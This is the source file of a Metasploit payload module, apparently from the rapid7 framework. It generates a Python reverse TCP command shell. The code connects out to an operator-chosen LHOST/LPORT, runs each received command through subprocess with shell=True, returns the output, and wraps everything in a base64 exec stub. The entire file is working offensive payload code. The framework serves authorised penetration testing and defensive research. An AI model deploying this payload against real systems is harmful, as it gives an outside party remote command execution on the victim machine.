Tim W
67 lines
1.9 KiB
Ruby
67 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 401
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include Msf::Payload::Single
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include Msf::Payload::Python
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Command Shell, Reverse TCP (via python)',
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'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
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'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
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'License' => MSF_LICENSE,
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'Platform' => 'python',
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'Arch' => ARCH_PYTHON,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'python',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = ''
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dead = Rex::Text.rand_text_alpha(3)
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# Set up the socket
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cmd << "import socket,subprocess\n"
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cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
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cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
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# The actual IO
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cmd << "#{dead}=False\n"
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cmd << "while not #{dead}:\n"
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cmd << "\tdata=so.recv(1024)\n"
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cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
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cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
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cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
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cmd << "\tso.send(stdout_value)\n"
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py_create_exec_stub(cmd)
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end
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end
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